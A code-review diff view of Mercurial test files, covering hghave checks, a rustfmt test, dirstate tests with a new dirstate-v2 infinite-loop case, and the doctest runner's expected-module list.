1161 except ImportError:
1162 return False
1162 return False
1163
1163
1164
1164
1165 @check("bash", "bash shell")
1165 @check("bash", "bash shell")
1166 def has_bash():
1166 def has_bash():
1167 return matchoutput("bash -c 'echo hi'", b'^hi$')
1167 return matchoutput("bash -c 'echo hi'", b'^hi$')
1168
1168
1169
1169
1170 @check("bigendian", "big-endian CPU")
1170 @check("bigendian", "big-endian CPU")
1171 def has_bigendian():
1171 def has_bigendian():
1172 return sys.byteorder == 'big'
1172 return sys.byteorder == 'big'
@@ -1,9 +1,11 b''
1 #require rustfmt test-repo
1 #require rustfmt test-repo
2
2
3 $ . "$TESTDIR/helpers-testrepo.sh"
3 $ . "$TESTDIR/helpers-testrepo.sh"
4
4
5 $ cd "$TESTDIR"/..
5 $ cd "$TESTDIR"/..
6
7 Warning: Keep this in sync with hghave.py
6 $ RUSTFMT=$(rustup which --toolchain nightly-2021-11-02 rustfmt)
8 $ RUSTFMT=$(rustup which --toolchain nightly-2021-11-02 rustfmt)
7 $ for f in `testrepohg files 'glob:**/*.rs'` ; do
9 $ for f in `testrepohg files 'glob:**/*.rs'` ; do
8 > $RUSTFMT --check --edition=2018 --unstable-features --color=never $f
10 > $RUSTFMT --check --edition=2018 --unstable-features --color=never $f
9 > done
11 > done
@@ -1,105 +1,123 b''
1 #testcases dirstate-v1 dirstate-v2
1 #testcases dirstate-v1 dirstate-v2
2
2
3 #if dirstate-v2
3 #if dirstate-v2
4 $ cat >> $HGRCPATH << EOF
4 $ cat >> $HGRCPATH << EOF
5 > [format]
5 > [format]
6 > use-dirstate-v2=1
6 > use-dirstate-v2=1
7 > [storage]
7 > [storage]
8 > dirstate-v2.slow-path=allow
8 > dirstate-v2.slow-path=allow
9 > EOF
9 > EOF
10 #endif
10 #endif
11
11
12 ------ Test dirstate._dirs refcounting
12 ------ Test dirstate._dirs refcounting
13
13
14 $ hg init t
14 $ hg init t
15 $ cd t
15 $ cd t
16 $ mkdir -p a/b/c/d
16 $ mkdir -p a/b/c/d
17 $ touch a/b/c/d/x
17 $ touch a/b/c/d/x
18 $ touch a/b/c/d/y
18 $ touch a/b/c/d/y
19 $ touch a/b/c/d/z
19 $ touch a/b/c/d/z
20 $ hg ci -Am m
20 $ hg ci -Am m
21 adding a/b/c/d/x
21 adding a/b/c/d/x
22 adding a/b/c/d/y
22 adding a/b/c/d/y
23 adding a/b/c/d/z
23 adding a/b/c/d/z
24 $ hg mv a z
24 $ hg mv a z
25 moving a/b/c/d/x to z/b/c/d/x
25 moving a/b/c/d/x to z/b/c/d/x
26 moving a/b/c/d/y to z/b/c/d/y
26 moving a/b/c/d/y to z/b/c/d/y
27 moving a/b/c/d/z to z/b/c/d/z
27 moving a/b/c/d/z to z/b/c/d/z
28
28
29 Test name collisions
29 Test name collisions
30
30
31 $ rm z/b/c/d/x
31 $ rm z/b/c/d/x
32 $ mkdir z/b/c/d/x
32 $ mkdir z/b/c/d/x
33 $ touch z/b/c/d/x/y
33 $ touch z/b/c/d/x/y
34 $ hg add z/b/c/d/x/y
34 $ hg add z/b/c/d/x/y
35 abort: file 'z/b/c/d/x' in dirstate clashes with 'z/b/c/d/x/y'
35 abort: file 'z/b/c/d/x' in dirstate clashes with 'z/b/c/d/x/y'
36 [255]
36 [255]
37 $ rm -rf z/b/c/d
37 $ rm -rf z/b/c/d
38 $ touch z/b/c/d
38 $ touch z/b/c/d
39 $ hg add z/b/c/d
39 $ hg add z/b/c/d
40 abort: directory 'z/b/c/d' already in dirstate
40 abort: directory 'z/b/c/d' already in dirstate
41 [255]
41 [255]
42
42
43 $ cd ..
43 $ cd ..
44
44
45 Issue1790: dirstate entry locked into unset if file mtime is set into
45 Issue1790: dirstate entry locked into unset if file mtime is set into
46 the future
46 the future
47
47
48 Prepare test repo:
48 Prepare test repo:
49
49
50 $ hg init u
50 $ hg init u
51 $ cd u
51 $ cd u
52 $ echo a > a
52 $ echo a > a
53 $ hg add
53 $ hg add
54 adding a
54 adding a
55 $ hg ci -m1
55 $ hg ci -m1
56
56
57 Set mtime of a into the future:
57 Set mtime of a into the future:
58
58
59 $ touch -t 203101011200 a
59 $ touch -t 203101011200 a
60
60
61 Status must not set a's entry to unset (issue1790):
61 Status must not set a's entry to unset (issue1790):
62
62
63 $ hg status
63 $ hg status
64 $ hg debugstate
64 $ hg debugstate
65 n 644 2 2031-01-01 12:00:00 a
65 n 644 2 2031-01-01 12:00:00 a
66
66
67 Test modulo storage/comparison of absurd dates:
67 Test modulo storage/comparison of absurd dates:
68
68
69 #if no-aix
69 #if no-aix
70 $ touch -t 195001011200 a
70 $ touch -t 195001011200 a
71 $ hg st
71 $ hg st
72 $ hg debugstate
72 $ hg debugstate
73 n 644 2 2018-01-19 15:14:08 a
73 n 644 2 2018-01-19 15:14:08 a
74 #endif
74 #endif
75
75
76 Verify that exceptions during a dirstate change leave the dirstate
76 Verify that exceptions during a dirstate change leave the dirstate
77 coherent (issue4353)
77 coherent (issue4353)
78
78
79 $ cat > ../dirstateexception.py <<EOF
79 $ cat > ../dirstateexception.py <<EOF
80 > from __future__ import absolute_import
80 > from __future__ import absolute_import
81 > from mercurial import (
81 > from mercurial import (
82 > error,
82 > error,
83 > extensions,
83 > extensions,
84 > mergestate as mergestatemod,
84 > mergestate as mergestatemod,
85 > )
85 > )
86 >
86 >
87 > def wraprecordupdates(*args):
87 > def wraprecordupdates(*args):
88 > raise error.Abort(b"simulated error while recording dirstateupdates")
88 > raise error.Abort(b"simulated error while recording dirstateupdates")
89 >
89 >
90 > def reposetup(ui, repo):
90 > def reposetup(ui, repo):
91 > extensions.wrapfunction(mergestatemod, 'recordupdates',
91 > extensions.wrapfunction(mergestatemod, 'recordupdates',
92 > wraprecordupdates)
92 > wraprecordupdates)
93 > EOF
93 > EOF
94
94
95 $ hg rm a
95 $ hg rm a
96 $ hg commit -m 'rm a'
96 $ hg commit -m 'rm a'
97 $ echo "[extensions]" >> .hg/hgrc
97 $ echo "[extensions]" >> .hg/hgrc
98 $ echo "dirstateex=../dirstateexception.py" >> .hg/hgrc
98 $ echo "dirstateex=../dirstateexception.py" >> .hg/hgrc
99 $ hg up 0
99 $ hg up 0
100 abort: simulated error while recording dirstateupdates
100 abort: simulated error while recording dirstateupdates
101 [255]
101 [255]
102 $ hg log -r . -T '{rev}\n'
102 $ hg log -r . -T '{rev}\n'
103 1
103 1
104 $ hg status
104 $ hg status
105 ? a
105 ? a
106
107 #if dirstate-v2
108 Check that folders that are prefixes of others do not throw the packer into an
109 infinite loop.
110
111 $ cd ..
112 $ hg init infinite-loop
113 $ cd infinite-loop
114 $ mkdir hgext3rd hgext
115 $ touch hgext3rd/__init__.py hgext/zeroconf.py
116 $ hg commit -Aqm0
117
118 $ hg st -c
119 C hgext/zeroconf.py
120 C hgext3rd/__init__.py
121
122 $ cd ..
123 #endif
@@ -1,177 +1,178 b''
1 # this is hack to make sure no escape characters are inserted into the output
1 # this is hack to make sure no escape characters are inserted into the output
2
2
3 from __future__ import absolute_import
3 from __future__ import absolute_import
4 from __future__ import print_function
4 from __future__ import print_function
5
5
6 import doctest
6 import doctest
7 import os
7 import os
8 import re
8 import re
9 import subprocess
9 import subprocess
10 import sys
10 import sys
11
11
12 ispy3 = sys.version_info[0] >= 3
12 ispy3 = sys.version_info[0] >= 3
13
13
14 if 'TERM' in os.environ:
14 if 'TERM' in os.environ:
15 del os.environ['TERM']
15 del os.environ['TERM']
16
16
17
17
18 class py3docchecker(doctest.OutputChecker):
18 class py3docchecker(doctest.OutputChecker):
19 def check_output(self, want, got, optionflags):
19 def check_output(self, want, got, optionflags):
20 want2 = re.sub(r'''\bu(['"])(.*?)\1''', r'\1\2\1', want) # py2: u''
20 want2 = re.sub(r'''\bu(['"])(.*?)\1''', r'\1\2\1', want) # py2: u''
21 got2 = re.sub(r'''\bb(['"])(.*?)\1''', r'\1\2\1', got) # py3: b''
21 got2 = re.sub(r'''\bb(['"])(.*?)\1''', r'\1\2\1', got) # py3: b''
22 # py3: <exc.name>: b'<msg>' -> <name>: <msg>
22 # py3: <exc.name>: b'<msg>' -> <name>: <msg>
23 # <exc.name>: <others> -> <name>: <others>
23 # <exc.name>: <others> -> <name>: <others>
24 got2 = re.sub(
24 got2 = re.sub(
25 r'''^mercurial\.\w+\.(\w+): (['"])(.*?)\2''',
25 r'''^mercurial\.\w+\.(\w+): (['"])(.*?)\2''',
26 r'\1: \3',
26 r'\1: \3',
27 got2,
27 got2,
28 re.MULTILINE,
28 re.MULTILINE,
29 )
29 )
30 got2 = re.sub(r'^mercurial\.\w+\.(\w+): ', r'\1: ', got2, re.MULTILINE)
30 got2 = re.sub(r'^mercurial\.\w+\.(\w+): ', r'\1: ', got2, re.MULTILINE)
31 return any(
31 return any(
32 doctest.OutputChecker.check_output(self, w, g, optionflags)
32 doctest.OutputChecker.check_output(self, w, g, optionflags)
33 for w, g in [(want, got), (want2, got2)]
33 for w, g in [(want, got), (want2, got2)]
34 )
34 )
35
35
36
36
37 def testmod(name, optionflags=0, testtarget=None):
37 def testmod(name, optionflags=0, testtarget=None):
38 __import__(name)
38 __import__(name)
39 mod = sys.modules[name]
39 mod = sys.modules[name]
40 if testtarget is not None:
40 if testtarget is not None:
41 mod = getattr(mod, testtarget)
41 mod = getattr(mod, testtarget)
42
42
43 # minimal copy of doctest.testmod()
43 # minimal copy of doctest.testmod()
44 finder = doctest.DocTestFinder()
44 finder = doctest.DocTestFinder()
45 checker = None
45 checker = None
46 if ispy3:
46 if ispy3:
47 checker = py3docchecker()
47 checker = py3docchecker()
48 runner = doctest.DocTestRunner(checker=checker, optionflags=optionflags)
48 runner = doctest.DocTestRunner(checker=checker, optionflags=optionflags)
49 for test in finder.find(mod, name):
49 for test in finder.find(mod, name):
50 runner.run(test)
50 runner.run(test)
51 runner.summarize()
51 runner.summarize()
52
52
53
53
54 DONT_RUN = []
54 DONT_RUN = []
55
55
56 # Exceptions to the defaults for a given detected module. The value for each
56 # Exceptions to the defaults for a given detected module. The value for each
57 # module name is a list of dicts that specify the kwargs to pass to testmod.
57 # module name is a list of dicts that specify the kwargs to pass to testmod.
58 # testmod is called once per item in the list, so an empty list will cause the
58 # testmod is called once per item in the list, so an empty list will cause the
59 # module to not be tested.
59 # module to not be tested.
60 testmod_arg_overrides = {
60 testmod_arg_overrides = {
61 'i18n.check-translation': DONT_RUN, # may require extra installation
61 'i18n.check-translation': DONT_RUN, # may require extra installation
62 'mercurial.dagparser': [{'optionflags': doctest.NORMALIZE_WHITESPACE}],
62 'mercurial.dagparser': [{'optionflags': doctest.NORMALIZE_WHITESPACE}],
63 'mercurial.keepalive': DONT_RUN, # >>> is an example, not a doctest
63 'mercurial.keepalive': DONT_RUN, # >>> is an example, not a doctest
64 'mercurial.posix': DONT_RUN, # run by mercurial.platform
64 'mercurial.posix': DONT_RUN, # run by mercurial.platform
65 'mercurial.statprof': DONT_RUN, # >>> is an example, not a doctest
65 'mercurial.statprof': DONT_RUN, # >>> is an example, not a doctest
66 'mercurial.util': [{}, {'testtarget': 'platform'}], # run twice!
66 'mercurial.util': [{}, {'testtarget': 'platform'}], # run twice!
67 'mercurial.windows': DONT_RUN, # run by mercurial.platform
67 'mercurial.windows': DONT_RUN, # run by mercurial.platform
68 'tests.test-url': [{'optionflags': doctest.NORMALIZE_WHITESPACE}],
68 'tests.test-url': [{'optionflags': doctest.NORMALIZE_WHITESPACE}],
69 }
69 }
70
70
71 fileset = 'set:(**.py)'
71 fileset = 'set:(**.py)'
72
72
73 cwd = os.path.dirname(os.environ["TESTDIR"])
73 cwd = os.path.dirname(os.environ["TESTDIR"])
74
74
75 if not os.path.isdir(os.path.join(cwd, ".hg")):
75 if not os.path.isdir(os.path.join(cwd, ".hg")):
76 sys.exit(0)
76 sys.exit(0)
77
77
78 files = subprocess.check_output(
78 files = subprocess.check_output(
79 "hg files --print0 \"%s\"" % fileset,
79 "hg files --print0 \"%s\"" % fileset,
80 shell=True,
80 shell=True,
81 cwd=cwd,
81 cwd=cwd,
82 ).split(b'\0')
82 ).split(b'\0')
83
83
84 if sys.version_info[0] >= 3:
84 if sys.version_info[0] >= 3:
85 cwd = os.fsencode(cwd)
85 cwd = os.fsencode(cwd)
86
86
87 mods_tested = set()
87 mods_tested = set()
88 for f in files:
88 for f in files:
89 if not f:
89 if not f:
90 continue
90 continue
91
91
92 with open(os.path.join(cwd, f), "rb") as fh:
92 with open(os.path.join(cwd, f), "rb") as fh:
93 if not re.search(br'\n\s*>>>', fh.read()):
93 if not re.search(br'\n\s*>>>', fh.read()):
94 continue
94 continue
95
95
96 if ispy3:
96 if ispy3:
97 f = f.decode()
97 f = f.decode()
98
98
99 modname = f.replace('.py', '').replace('\\', '.').replace('/', '.')
99 modname = f.replace('.py', '').replace('\\', '.').replace('/', '.')
100
100
101 # Third-party modules aren't our responsibility to test, and the modules in
101 # Third-party modules aren't our responsibility to test, and the modules in
102 # contrib generally do not have doctests in a good state, plus they're hard
102 # contrib generally do not have doctests in a good state, plus they're hard
103 # to import if this test is running with py2, so we just skip both for now.
103 # to import if this test is running with py2, so we just skip both for now.
104 if modname.startswith('mercurial.thirdparty.') or modname.startswith(
104 if modname.startswith('mercurial.thirdparty.') or modname.startswith(
105 'contrib.'
105 'contrib.'
106 ):
106 ):
107 continue
107 continue
108
108
109 for kwargs in testmod_arg_overrides.get(modname, [{}]):
109 for kwargs in testmod_arg_overrides.get(modname, [{}]):
110 mods_tested.add((modname, '%r' % (kwargs,)))
110 mods_tested.add((modname, '%r' % (kwargs,)))
111 if modname.startswith('tests.'):
111 if modname.startswith('tests.'):
112 # On py2, we can't import from tests.foo, but it works on both py2
112 # On py2, we can't import from tests.foo, but it works on both py2
113 # and py3 with the way that PYTHONPATH is setup to import without
113 # and py3 with the way that PYTHONPATH is setup to import without
114 # the 'tests.' prefix, so we do that.
114 # the 'tests.' prefix, so we do that.
115 modname = modname[len('tests.') :]
115 modname = modname[len('tests.') :]
116
116
117 testmod(modname, **kwargs)
117 testmod(modname, **kwargs)
118
118
119 # Meta-test: let's make sure that we actually ran what we expected to, above.
119 # Meta-test: let's make sure that we actually ran what we expected to, above.
120 # Each item in the set is a 2-tuple of module name and stringified kwargs passed
120 # Each item in the set is a 2-tuple of module name and stringified kwargs passed
121 # to testmod.
121 # to testmod.
122 expected_mods_tested = set(
122 expected_mods_tested = set(
123 [
123 [
124 ('hgext.convert.convcmd', '{}'),
124 ('hgext.convert.convcmd', '{}'),
125 ('hgext.convert.cvsps', '{}'),
125 ('hgext.convert.cvsps', '{}'),
126 ('hgext.convert.filemap', '{}'),
126 ('hgext.convert.filemap', '{}'),
127 ('hgext.convert.p4', '{}'),
127 ('hgext.convert.p4', '{}'),
128 ('hgext.convert.subversion', '{}'),
128 ('hgext.convert.subversion', '{}'),
129 ('hgext.fix', '{}'),
129 ('hgext.fix', '{}'),
130 ('hgext.mq', '{}'),
130 ('hgext.mq', '{}'),
131 ('mercurial.changelog', '{}'),
131 ('mercurial.changelog', '{}'),
132 ('mercurial.cmdutil', '{}'),
132 ('mercurial.cmdutil', '{}'),
133 ('mercurial.color', '{}'),
133 ('mercurial.color', '{}'),
134 ('mercurial.dagparser', "{'optionflags': 4}"),
134 ('mercurial.dagparser', "{'optionflags': 4}"),
135 ('mercurial.dirstateutils.v2', '{}'),
135 ('mercurial.encoding', '{}'),
136 ('mercurial.encoding', '{}'),
136 ('mercurial.fancyopts', '{}'),
137 ('mercurial.fancyopts', '{}'),
137 ('mercurial.formatter', '{}'),
138 ('mercurial.formatter', '{}'),
138 ('mercurial.hg', '{}'),
139 ('mercurial.hg', '{}'),
139 ('mercurial.hgweb.hgwebdir_mod', '{}'),
140 ('mercurial.hgweb.hgwebdir_mod', '{}'),
140 ('mercurial.match', '{}'),
141 ('mercurial.match', '{}'),
141 ('mercurial.mdiff', '{}'),
142 ('mercurial.mdiff', '{}'),
142 ('mercurial.minirst', '{}'),
143 ('mercurial.minirst', '{}'),
143 ('mercurial.parser', '{}'),
144 ('mercurial.parser', '{}'),
144 ('mercurial.patch', '{}'),
145 ('mercurial.patch', '{}'),
145 ('mercurial.pathutil', '{}'),
146 ('mercurial.pathutil', '{}'),
146 ('mercurial.pycompat', '{}'),
147 ('mercurial.pycompat', '{}'),
147 ('mercurial.revlogutils.deltas', '{}'),
148 ('mercurial.revlogutils.deltas', '{}'),
148 ('mercurial.revset', '{}'),
149 ('mercurial.revset', '{}'),
149 ('mercurial.revsetlang', '{}'),
150 ('mercurial.revsetlang', '{}'),
150 ('mercurial.simplemerge', '{}'),
151 ('mercurial.simplemerge', '{}'),
151 ('mercurial.smartset', '{}'),
152 ('mercurial.smartset', '{}'),
152 ('mercurial.store', '{}'),
153 ('mercurial.store', '{}'),
153 ('mercurial.subrepo', '{}'),
154 ('mercurial.subrepo', '{}'),
154 ('mercurial.templater', '{}'),
155 ('mercurial.templater', '{}'),
155 ('mercurial.ui', '{}'),
156 ('mercurial.ui', '{}'),
156 ('mercurial.util', "{'testtarget': 'platform'}"),
157 ('mercurial.util', "{'testtarget': 'platform'}"),
157 ('mercurial.util', '{}'),
158 ('mercurial.util', '{}'),
158 ('mercurial.utils.dateutil', '{}'),
159 ('mercurial.utils.dateutil', '{}'),
159 ('mercurial.utils.stringutil', '{}'),
160 ('mercurial.utils.stringutil', '{}'),
160 ('mercurial.utils.urlutil', '{}'),
161 ('mercurial.utils.urlutil', '{}'),
161 ('tests.drawdag', '{}'),
162 ('tests.drawdag', '{}'),
162 ('tests.test-run-tests', '{}'),
163 ('tests.test-run-tests', '{}'),
163 ('tests.test-url', "{'optionflags': 4}"),
164 ('tests.test-url', "{'optionflags': 4}"),
164 ]
165 ]
165 )
166 )
166
167
167 unexpectedly_run = mods_tested.difference(expected_mods_tested)
168 unexpectedly_run = mods_tested.difference(expected_mods_tested)
168 not_run = expected_mods_tested.difference(mods_tested)
169 not_run = expected_mods_tested.difference(mods_tested)
169
170
170 if unexpectedly_run:
171 if unexpectedly_run:
171 print('Unexpectedly ran (probably need to add to list):')
172 print('Unexpectedly ran (probably need to add to list):')
172 for r in sorted(unexpectedly_run):
173 for r in sorted(unexpectedly_run):
173 print(' %r' % (r,))
174 print(' %r' % (r,))
174 if not_run:
175 if not_run:
175 print('Expected to run, but was not run (doctest removed?):')
176 print('Expected to run, but was not run (doctest removed?):')
176 for r in sorted(not_run):
177 for r in sorted(not_run):
177 print(' %r' % (r,))
178 print(' %r' % (r,))
General Comments 0
You need to be logged in to leave comments. Login now